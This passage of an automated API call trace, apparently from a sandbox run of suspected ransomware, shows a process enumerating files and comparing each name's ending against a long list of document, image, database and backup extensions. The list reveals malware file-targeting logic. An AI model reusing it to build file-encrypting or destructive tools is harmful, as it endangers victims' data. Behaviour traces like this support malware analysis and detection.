	[0059.839] lstrcmpiW (lpString1=".dot", lpString2=".ini") returned -1
	[0059.839] lstrlenW (lpString=".dotm") returned 5
	[0059.839] lstrcmpiW (lpString1=".dotm", lpString2="k.ini") returned -1
	[0059.839] lstrlenW (lpString=".dotx") returned 5
	[0059.839] lstrcmpiW (lpString1=".dotx", lpString2="k.ini") returned -1
	[0059.839] lstrlenW (lpString=".dpx") returned 4
	[0059.839] lstrcmpiW (lpString1=".dpx", lpString2=".ini") returned -1
	[0059.839] lstrlenW (lpString=".dqy") returned 4
	[0059.839] lstrcmpiW (lpString1=".dqy", lpString2=".ini") returned -1
	[0059.839] lstrlenW (lpString=".dsn") returned 4
	[0059.839] lstrcmpiW (lpString1=".dsn", lpString2=".ini") returned -1
	[0059.839] lstrlenW (lpString=".dt") returned 3
	[0059.839] lstrcmpiW (lpString1=".dt", lpString2="ini") returned -1
	[0059.839] lstrlenW (lpString=".dtd") returned 4
	[0059.839] lstrcmpiW (lpString1=".dtd", lpString2=".ini") returned -1
	[0059.839] lstrlenW (lpString=".dwg") returned 4
	[0059.839] lstrcmpiW (lpString1=".dwg", lpString2=".ini") returned -1
	[0059.839] lstrlenW (lpString=".dwt") returned 4
	[0059.839] lstrcmpiW (lpString1=".dwt", lpString2=".ini") returned -1
	[0059.839] lstrlenW (lpString=".dx") returned 3
	[0059.839] lstrcmpiW (lpString1=".dx", lpString2="ini") returned -1
	[0059.839] lstrlenW (lpString=".dxf") returned 4
	[0059.840] lstrcmpiW (lpString1=".dxf", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".edml") returned 5
	[0059.840] lstrcmpiW (lpString1=".edml", lpString2="k.ini") returned -1
	[0059.840] lstrlenW (lpString=".efd") returned 4
	[0059.840] lstrcmpiW (lpString1=".efd", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".elf") returned 4
	[0059.840] lstrcmpiW (lpString1=".elf", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".emf") returned 4
	[0059.840] lstrcmpiW (lpString1=".emf", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".emz") returned 4
	[0059.840] lstrcmpiW (lpString1=".emz", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".epf") returned 4
	[0059.840] lstrcmpiW (lpString1=".epf", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".eps") returned 4
	[0059.840] lstrcmpiW (lpString1=".eps", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".epsf") returned 5
	[0059.840] lstrcmpiW (lpString1=".epsf", lpString2="k.ini") returned -1
	[0059.840] lstrlenW (lpString=".epsp") returned 5
	[0059.840] lstrcmpiW (lpString1=".epsp", lpString2="k.ini") returned -1
	[0059.840] lstrlenW (lpString=".erf") returned 4
	[0059.840] lstrcmpiW (lpString1=".erf", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".exr") returned 4
	[0059.840] lstrcmpiW (lpString1=".exr", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".f4v") returned 4
	[0059.840] lstrcmpiW (lpString1=".f4v", lpString2=".ini") returned -1
	[0059.840] lstrlenW (lpString=".fido") returned 5
	[0059.840] lstrcmpiW (lpString1=".fido", lpString2="k.ini") returned -1
	[0059.840] lstrlenW (lpString=".flm") returned 4
	[0059.840] lstrcmpiW (lpString1=".flm", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".flv") returned 4
	[0059.841] lstrcmpiW (lpString1=".flv", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".frm") returned 4
	[0059.841] lstrcmpiW (lpString1=".frm", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".fxg") returned 4
	[0059.841] lstrcmpiW (lpString1=".fxg", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".geo") returned 4
	[0059.841] lstrcmpiW (lpString1=".geo", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".gif") returned 4
	[0059.841] lstrcmpiW (lpString1=".gif", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".grs") returned 4
	[0059.841] lstrcmpiW (lpString1=".grs", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".gz") returned 3
	[0059.841] lstrcmpiW (lpString1=".gz", lpString2="ini") returned -1
	[0059.841] lstrlenW (lpString=".h") returned 2
	[0059.841] lstrcmpiW (lpString1=".h", lpString2="ni") returned -1
	[0059.841] lstrlenW (lpString=".hdr") returned 4
	[0059.841] lstrcmpiW (lpString1=".hdr", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".hpp") returned 4
	[0059.841] lstrcmpiW (lpString1=".hpp", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".hta") returned 4
	[0059.841] lstrcmpiW (lpString1=".hta", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".htc") returned 4
	[0059.841] lstrcmpiW (lpString1=".htc", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".htm") returned 4
	[0059.841] lstrcmpiW (lpString1=".htm", lpString2=".ini") returned -1
	[0059.841] lstrlenW (lpString=".html") returned 5
	[0059.841] lstrcmpiW (lpString1=".html", lpString2="k.ini") returned -1
	[0059.841] lstrlenW (lpString=".icb") returned 4
	[0059.842] lstrcmpiW (lpString1=".icb", lpString2=".ini") returned -1
	[0059.842] lstrlenW (lpString=".ics") returned 4
	[0059.842] lstrcmpiW (lpString1=".ics", lpString2=".ini") returned -1
	[0059.842] lstrlenW (lpString=".iff") returned 4
	[0059.842] lstrcmpiW (lpString1=".iff", lpString2=".ini") returned -1
	[0059.842] lstrlenW (lpString=".inc") returned 4
	[0059.842] lstrcmpiW (lpString1=".inc", lpString2=".ini") returned -1
	[0059.842] lstrlenW (lpString=".indd") returned 5
	[0059.842] lstrcmpiW (lpString1=".indd", lpString2="k.ini") returned -1
	[0059.842] lstrlenW (lpString=".ini") returned 4
	[0059.842] lstrcmpiW (lpString1=".ini", lpString2=".ini") returned 0
	[0059.842] FindNextFileW (in: hFindFile=0x5e0630, lpFindFileData=0x325f800 | out: lpFindFileData=0x325f800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54acc791, ftCreationTime.dwHighDateTime=0x1d3273a, ftLastAccessTime.dwLowDateTime=0x54acc791, ftLastAccessTime.dwHighDateTime=0x1d3273a, ftLastWriteTime.dwLowDateTime=0x54acc791, ftLastWriteTime.dwHighDateTime=0x1d3273a, nFileSizeHigh=0x0, nFileSizeLow=0x241, dwReserved0=0x0, dwReserved1=0x0, cFileName="PartnerSetupComplete.cmd", cAlternateFileName="PARTNE~1.CMD")) returned 1
	[0059.842] lstrlenW (lpString="PartnerSetupComplete.cmd") returned 24
	[0059.842] lstrlenW (lpString=".1cd") returned 4
	[0059.842] lstrcmpiW (lpString1=".1cd", lpString2=".cmd") returned -1
	[0059.842] lstrlenW (lpString=".3ds") returned 4
	[0059.842] lstrcmpiW (lpString1=".3ds", lpString2=".cmd") returned -1
	[0059.842] lstrlenW (lpString=".3fr") returned 4
	[0059.842] lstrcmpiW (lpString1=".3fr", lpString2=".cmd") returned -1
	[0059.842] lstrlenW (lpString=".3g2") returned 4
	[0059.842] lstrcmpiW (lpString1=".3g2", lpString2=".cmd") returned -1
	[0059.842] lstrlenW (lpString=".3gp") returned 4
	[0059.842] lstrcmpiW (lpString1=".3gp", lpString2=".cmd") returned -1
	[0059.842] lstrlenW (lpString=".7z") returned 3
	[0059.842] lstrcmpiW (lpString1=".7z", lpString2="cmd") returned -1
	[0059.842] lstrlenW (lpString=".accda") returned 6
	[0059.842] lstrcmpiW (lpString1=".accda", lpString2="te.cmd") returned -1
	[0059.843] lstrlenW (lpString=".accdb") returned 6
	[0059.843] lstrcmpiW (lpString1=".accdb", lpString2="te.cmd") returned -1
	[0059.843] lstrlenW (lpString=".accdc") returned 6
	[0059.843] lstrcmpiW (lpString1=".accdc", lpString2="te.cmd") returned -1
	[0059.843] lstrlenW (lpString=".accde") returned 6
	[0059.843] lstrcmpiW (lpString1=".accde", lpString2="te.cmd") returned -1
	[0059.843] lstrlenW (lpString=".accdt") returned 6
	[0059.843] lstrcmpiW (lpString1=".accdt", lpString2="te.cmd") returned -1
	[0059.843] lstrlenW (lpString=".accdw") returned 6
	[0059.843] lstrcmpiW (lpString1=".accdw", lpString2="te.cmd") returned -1
	[0059.843] lstrlenW (lpString=".adb") returned 4
	[0059.843] lstrcmpiW (lpString1=".adb", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".adp") returned 4
	[0059.843] lstrcmpiW (lpString1=".adp", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".ai") returned 3
	[0059.843] lstrcmpiW (lpString1=".ai", lpString2="cmd") returned -1
	[0059.843] lstrlenW (lpString=".ai3") returned 4
	[0059.843] lstrcmpiW (lpString1=".ai3", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".ai4") returned 4
	[0059.843] lstrcmpiW (lpString1=".ai4", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".ai5") returned 4
	[0059.843] lstrcmpiW (lpString1=".ai5", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".ai6") returned 4
	[0059.843] lstrcmpiW (lpString1=".ai6", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".ai7") returned 4
	[0059.843] lstrcmpiW (lpString1=".ai7", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".ai8") returned 4
	[0059.843] lstrcmpiW (lpString1=".ai8", lpString2=".cmd") returned -1
	[0059.843] lstrlenW (lpString=".anim") returned 5
	[0059.844] lstrcmpiW (lpString1=".anim", lpString2="e.cmd") returned -1
	[0059.844] lstrlenW (lpString=".arw") returned 4
	[0059.844] lstrcmpiW (lpString1=".arw", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".as") returned 3
	[0059.844] lstrcmpiW (lpString1=".as", lpString2="cmd") returned -1
	[0059.844] lstrlenW (lpString=".asa") returned 4
	[0059.844] lstrcmpiW (lpString1=".asa", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".asc") returned 4
	[0059.844] lstrcmpiW (lpString1=".asc", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".ascx") returned 5
	[0059.844] lstrcmpiW (lpString1=".ascx", lpString2="e.cmd") returned -1
	[0059.844] lstrlenW (lpString=".asm") returned 4
	[0059.844] lstrcmpiW (lpString1=".asm", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".asmx") returned 5
	[0059.844] lstrcmpiW (lpString1=".asmx", lpString2="e.cmd") returned -1
	[0059.844] lstrlenW (lpString=".asp") returned 4
	[0059.844] lstrcmpiW (lpString1=".asp", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".aspx") returned 5
	[0059.844] lstrcmpiW (lpString1=".aspx", lpString2="e.cmd") returned -1
	[0059.844] lstrlenW (lpString=".asr") returned 4
	[0059.844] lstrcmpiW (lpString1=".asr", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".asx") returned 4
	[0059.844] lstrcmpiW (lpString1=".asx", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".avi") returned 4
	[0059.844] lstrcmpiW (lpString1=".avi", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".avs") returned 4
	[0059.844] lstrcmpiW (lpString1=".avs", lpString2=".cmd") returned -1
	[0059.844] lstrlenW (lpString=".backup") returned 7
	[0059.845] lstrcmpiW (lpString1=".backup", lpString2="ete.cmd") returned -1
	[0059.845] lstrlenW (lpString=".bak") returned 4
	[0059.845] lstrcmpiW (lpString1=".bak", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".bay") returned 4
	[0059.845] lstrcmpiW (lpString1=".bay", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".bd") returned 3
	[0059.845] lstrcmpiW (lpString1=".bd", lpString2="cmd") returned -1
	[0059.845] lstrlenW (lpString=".bin") returned 4
	[0059.845] lstrcmpiW (lpString1=".bin", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".bmp") returned 4
	[0059.845] lstrcmpiW (lpString1=".bmp", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".bz2") returned 4
	[0059.845] lstrcmpiW (lpString1=".bz2", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".c") returned 2
	[0059.845] lstrcmpiW (lpString1=".c", lpString2="md") returned -1
	[0059.845] lstrlenW (lpString=".cdr") returned 4
	[0059.845] lstrcmpiW (lpString1=".cdr", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".cer") returned 4
	[0059.845] lstrcmpiW (lpString1=".cer", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".cf") returned 3
	[0059.845] lstrcmpiW (lpString1=".cf", lpString2="cmd") returned -1
	[0059.845] lstrlenW (lpString=".cfc") returned 4
	[0059.845] lstrcmpiW (lpString1=".cfc", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".cfm") returned 4
	[0059.845] lstrcmpiW (lpString1=".cfm", lpString2=".cmd") returned -1
	[0059.845] lstrlenW (lpString=".cfml") returned 5
	[0059.845] lstrcmpiW (lpString1=".cfml", lpString2="e.cmd") returned -1
	[0059.845] lstrlenW (lpString=".cfu") returned 4
	[0059.845] lstrcmpiW (lpString1=".cfu", lpString2=".cmd") returned -1
	[0059.846] lstrlenW (lpString=".chm") returned 4
	[0059.846] lstrcmpiW (lpString1=".chm", lpString2=".cmd") returned -1
	[0059.846] lstrlenW (lpString=".cin") returned 4
	[0059.846] lstrcmpiW (lpString1=".cin", lpString2=".cmd") returned -1
	[0059.846] lstrlenW (lpString=".class") returned 6
	[0059.846] lstrcmpiW (lpString1=".class", lpString2="te.cmd") returned -1
	[0059.846] lstrlenW (lpString=".clx") returned 4
	[0059.846] lstrcmpiW (lpString1=".clx", lpString2=".cmd") returned -1
	[0059.846] lstrlenW (lpString=".config") returned 7
	[0059.846] lstrcmpiW (lpString1=".config", lpString2="ete.cmd") returned -1
	[0059.846] lstrlenW (lpString=".cpp") returned 4
	[0059.846] lstrcmpiW (lpString1=".cpp", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".cr2") returned 4
	[0059.846] lstrcmpiW (lpString1=".cr2", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".crt") returned 4
	[0059.846] lstrcmpiW (lpString1=".crt", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".crw") returned 4
	[0059.846] lstrcmpiW (lpString1=".crw", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".cs") returned 3
	[0059.846] lstrcmpiW (lpString1=".cs", lpString2="cmd") returned -1
	[0059.846] lstrlenW (lpString=".css") returned 4
	[0059.846] lstrcmpiW (lpString1=".css", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".csv") returned 4
	[0059.846] lstrcmpiW (lpString1=".csv", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".cub") returned 4
	[0059.846] lstrcmpiW (lpString1=".cub", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".dae") returned 4
	[0059.846] lstrcmpiW (lpString1=".dae", lpString2=".cmd") returned 1
	[0059.846] lstrlenW (lpString=".dat") returned 4
	[0059.847] lstrcmpiW (lpString1=".dat", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".db") returned 3
	[0059.847] lstrcmpiW (lpString1=".db", lpString2="cmd") returned -1
	[0059.847] lstrlenW (lpString=".dbf") returned 4
	[0059.847] lstrcmpiW (lpString1=".dbf", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".dbx") returned 4
	[0059.847] lstrcmpiW (lpString1=".dbx", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".dc3") returned 4
	[0059.847] lstrcmpiW (lpString1=".dc3", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".dcm") returned 4
	[0059.847] lstrcmpiW (lpString1=".dcm", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".dcr") returned 4
	[0059.847] lstrcmpiW (lpString1=".dcr", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".der") returned 4
	[0059.847] lstrcmpiW (lpString1=".der", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".dib") returned 4
	[0059.847] lstrcmpiW (lpString1=".dib", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".dic") returned 4
	[0059.847] lstrcmpiW (lpString1=".dic", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".dif") returned 4
	[0059.847] lstrcmpiW (lpString1=".dif", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".divx") returned 5
	[0059.847] lstrcmpiW (lpString1=".divx", lpString2="e.cmd") returned -1
	[0059.847] lstrlenW (lpString=".djvu") returned 5
	[0059.847] lstrcmpiW (lpString1=".djvu", lpString2="e.cmd") returned -1
	[0059.847] lstrlenW (lpString=".dng") returned 4
	[0059.847] lstrcmpiW (lpString1=".dng", lpString2=".cmd") returned 1
	[0059.847] lstrlenW (lpString=".doc") returned 4
	[0059.848] lstrcmpiW (lpString1=".doc", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".docm") returned 5
	[0059.848] lstrcmpiW (lpString1=".docm", lpString2="e.cmd") returned -1
	[0059.848] lstrlenW (lpString=".docx") returned 5
	[0059.848] lstrcmpiW (lpString1=".docx", lpString2="e.cmd") returned -1
	[0059.848] lstrlenW (lpString=".dot") returned 4
	[0059.848] lstrcmpiW (lpString1=".dot", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".dotm") returned 5
	[0059.848] lstrcmpiW (lpString1=".dotm", lpString2="e.cmd") returned -1
	[0059.848] lstrlenW (lpString=".dotx") returned 5
	[0059.848] lstrcmpiW (lpString1=".dotx", lpString2="e.cmd") returned -1
	[0059.848] lstrlenW (lpString=".dpx") returned 4
	[0059.848] lstrcmpiW (lpString1=".dpx", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".dqy") returned 4
	[0059.848] lstrcmpiW (lpString1=".dqy", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".dsn") returned 4
	[0059.848] lstrcmpiW (lpString1=".dsn", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".dt") returned 3
	[0059.848] lstrcmpiW (lpString1=".dt", lpString2="cmd") returned -1
	[0059.848] lstrlenW (lpString=".dtd") returned 4
	[0059.848] lstrcmpiW (lpString1=".dtd", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".dwg") returned 4
	[0059.848] lstrcmpiW (lpString1=".dwg", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".dwt") returned 4
	[0059.848] lstrcmpiW (lpString1=".dwt", lpString2=".cmd") returned 1
	[0059.848] lstrlenW (lpString=".dx") returned 3
	[0059.848] lstrcmpiW (lpString1=".dx", lpString2="cmd") returned -1
	[0059.848] lstrlenW (lpString=".dxf") returned 4
	[0059.848] lstrcmpiW (lpString1=".dxf", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".edml") returned 5
	[0059.849] lstrcmpiW (lpString1=".edml", lpString2="e.cmd") returned -1
	[0059.849] lstrlenW (lpString=".efd") returned 4
	[0059.849] lstrcmpiW (lpString1=".efd", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".elf") returned 4
	[0059.849] lstrcmpiW (lpString1=".elf", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".emf") returned 4
	[0059.849] lstrcmpiW (lpString1=".emf", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".emz") returned 4
	[0059.849] lstrcmpiW (lpString1=".emz", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".epf") returned 4
	[0059.849] lstrcmpiW (lpString1=".epf", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".eps") returned 4
	[0059.849] lstrcmpiW (lpString1=".eps", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".epsf") returned 5
	[0059.849] lstrcmpiW (lpString1=".epsf", lpString2="e.cmd") returned -1
	[0059.849] lstrlenW (lpString=".epsp") returned 5
	[0059.849] lstrcmpiW (lpString1=".epsp", lpString2="e.cmd") returned -1
	[0059.849] lstrlenW (lpString=".erf") returned 4
	[0059.849] lstrcmpiW (lpString1=".erf", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".exr") returned 4
	[0059.849] lstrcmpiW (lpString1=".exr", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".f4v") returned 4
	[0059.849] lstrcmpiW (lpString1=".f4v", lpString2=".cmd") returned 1
	[0059.849] lstrlenW (lpString=".fido") returned 5
	[0059.849] lstrcmpiW (lpString1=".fido", lpString2="e.cmd") returned -1
	[0059.849] lstrlenW (lpString=".flm") returned 4
	[0059.849] lstrcmpiW (lpString1=".flm", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".flv") returned 4
	[0059.850] lstrcmpiW (lpString1=".flv", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".frm") returned 4
	[0059.850] lstrcmpiW (lpString1=".frm", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".fxg") returned 4
	[0059.850] lstrcmpiW (lpString1=".fxg", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".geo") returned 4
	[0059.850] lstrcmpiW (lpString1=".geo", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".gif") returned 4
	[0059.850] lstrcmpiW (lpString1=".gif", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".grs") returned 4
	[0059.850] lstrcmpiW (lpString1=".grs", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".gz") returned 3
	[0059.850] lstrcmpiW (lpString1=".gz", lpString2="cmd") returned -1
	[0059.850] lstrlenW (lpString=".h") returned 2
	[0059.850] lstrcmpiW (lpString1=".h", lpString2="md") returned -1
	[0059.850] lstrlenW (lpString=".hdr") returned 4
	[0059.850] lstrcmpiW (lpString1=".hdr", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".hpp") returned 4
	[0059.850] lstrcmpiW (lpString1=".hpp", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".hta") returned 4
	[0059.850] lstrcmpiW (lpString1=".hta", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".htc") returned 4
	[0059.850] lstrcmpiW (lpString1=".htc", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".htm") returned 4
	[0059.850] lstrcmpiW (lpString1=".htm", lpString2=".cmd") returned 1
	[0059.850] lstrlenW (lpString=".html") returned 5
	[0059.850] lstrcmpiW (lpString1=".html", lpString2="e.cmd") returned -1
	[0059.850] lstrlenW (lpString=".icb") returned 4
	[0059.850] lstrcmpiW (lpString1=".icb", lpString2=".cmd") returned 1
	[0059.851] lstrlenW (lpString=".ics") returned 4
	[0059.851] lstrcmpiW (lpString1=".ics", lpString2=".cmd") returned 1
	[0059.851] lstrlenW (lpString=".iff") returned 4
	[0059.851] lstrcmpiW (lpString1=".iff", lpString2=".cmd") returned 1
	[0059.851] lstrlenW (lpString=".inc") returned 4
	[0059.851] lstrcmpiW (lpString1=".inc", lpString2=".cmd") returned 1
	[0059.851] lstrlenW (lpString=".indd") returned 5
	[0059.851] lstrcmpiW (lpString1=".indd", lpString2="e.cmd") returned -1
	[0059.851] lstrlenW (lpString=".ini") returned 4
	[0059.851] lstrcmpiW (lpString1=".ini", lpString2=".cmd") returned 1
	[0059.851] lstrlenW (lpString=".iqy") returned 4
	[0059.851] lstrcmpiW (lpString1=".iqy", lpString2=".cmd") returned 1
	[0059.851] lstrlenW (lpString=".j2c") returned 4
	[0059.851] lstrcmpiW (lpString1=".j2c", lpString2=".cmd") returned 1
	[0059.851] lstrlenW (lpString=".j2k") returned 4
	[0059.852] lstrcmpiW (lpString1=".j2k", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".java") returned 5
	[0059.852] lstrcmpiW (lpString1=".java", lpString2="e.cmd") returned -1
	[0059.852] lstrlenW (lpString=".jp2") returned 4
	[0059.852] lstrcmpiW (lpString1=".jp2", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".jpc") returned 4
	[0059.852] lstrcmpiW (lpString1=".jpc", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".jpe") returned 4
	[0059.852] lstrcmpiW (lpString1=".jpe", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".jpeg") returned 5
	[0059.852] lstrcmpiW (lpString1=".jpeg", lpString2="e.cmd") returned -1
	[0059.852] lstrlenW (lpString=".jpf") returned 4
	[0059.852] lstrcmpiW (lpString1=".jpf", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".jpg") returned 4
	[0059.852] lstrcmpiW (lpString1=".jpg", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".jpx") returned 4
	[0059.852] lstrcmpiW (lpString1=".jpx", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".js") returned 3
	[0059.852] lstrcmpiW (lpString1=".js", lpString2="cmd") returned -1
	[0059.852] lstrlenW (lpString=".jsf") returned 4
	[0059.852] lstrcmpiW (lpString1=".jsf", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".json") returned 5
	[0059.852] lstrcmpiW (lpString1=".json", lpString2="e.cmd") returned -1
	[0059.852] lstrlenW (lpString=".jsp") returned 4
	[0059.852] lstrcmpiW (lpString1=".jsp", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".kdc") returned 4
	[0059.852] lstrcmpiW (lpString1=".kdc", lpString2=".cmd") returned 1
	[0059.852] lstrlenW (lpString=".kmz") returned 4
	[0059.852] lstrcmpiW (lpString1=".kmz", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".kwm") returned 4
	[0059.853] lstrcmpiW (lpString1=".kwm", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".lasso") returned 6
	[0059.853] lstrcmpiW (lpString1=".lasso", lpString2="te.cmd") returned -1
	[0059.853] lstrlenW (lpString=".lbi") returned 4
	[0059.853] lstrcmpiW (lpString1=".lbi", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".lgf") returned 4
	[0059.853] lstrcmpiW (lpString1=".lgf", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".lgp") returned 4
	[0059.853] lstrcmpiW (lpString1=".lgp", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".log") returned 4
	[0059.853] lstrcmpiW (lpString1=".log", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".m1v") returned 4
	[0059.853] lstrcmpiW (lpString1=".m1v", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".m4a") returned 4
	[0059.853] lstrcmpiW (lpString1=".m4a", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".m4v") returned 4
	[0059.853] lstrcmpiW (lpString1=".m4v", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".max") returned 4
	[0059.853] lstrcmpiW (lpString1=".max", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".md") returned 3
	[0059.853] lstrcmpiW (lpString1=".md", lpString2="cmd") returned -1
	[0059.853] lstrlenW (lpString=".mda") returned 4
	[0059.853] lstrcmpiW (lpString1=".mda", lpString2=".cmd") returned 1
	[0059.853] lstrlenW (lpString=".mdb") returned 4
	[0059.854] lstrcmpiW (lpString1=".mdb", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mde") returned 4
	[0059.854] lstrcmpiW (lpString1=".mde", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mdf") returned 4
	[0059.854] lstrcmpiW (lpString1=".mdf", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mdw") returned 4
	[0059.854] lstrcmpiW (lpString1=".mdw", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mef") returned 4
	[0059.854] lstrcmpiW (lpString1=".mef", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mft") returned 4
	[0059.854] lstrcmpiW (lpString1=".mft", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mfw") returned 4
	[0059.854] lstrcmpiW (lpString1=".mfw", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mht") returned 4
	[0059.854] lstrcmpiW (lpString1=".mht", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mhtml") returned 6
	[0059.854] lstrcmpiW (lpString1=".mhtml", lpString2="te.cmd") returned -1
	[0059.854] lstrlenW (lpString=".mka") returned 4
	[0059.854] lstrcmpiW (lpString1=".mka", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mkidx") returned 6
	[0059.854] lstrcmpiW (lpString1=".mkidx", lpString2="te.cmd") returned -1
	[0059.854] lstrlenW (lpString=".mkv") returned 4
	[0059.854] lstrcmpiW (lpString1=".mkv", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mos") returned 4
	[0059.854] lstrcmpiW (lpString1=".mos", lpString2=".cmd") returned 1
	[0059.854] lstrlenW (lpString=".mov") returned 4
	[0059.854] lstrcmpiW (lpString1=".mov", lpString2=".cmd") returned 1
	[0059.855] lstrlenW (lpString=".mp3") returned 4
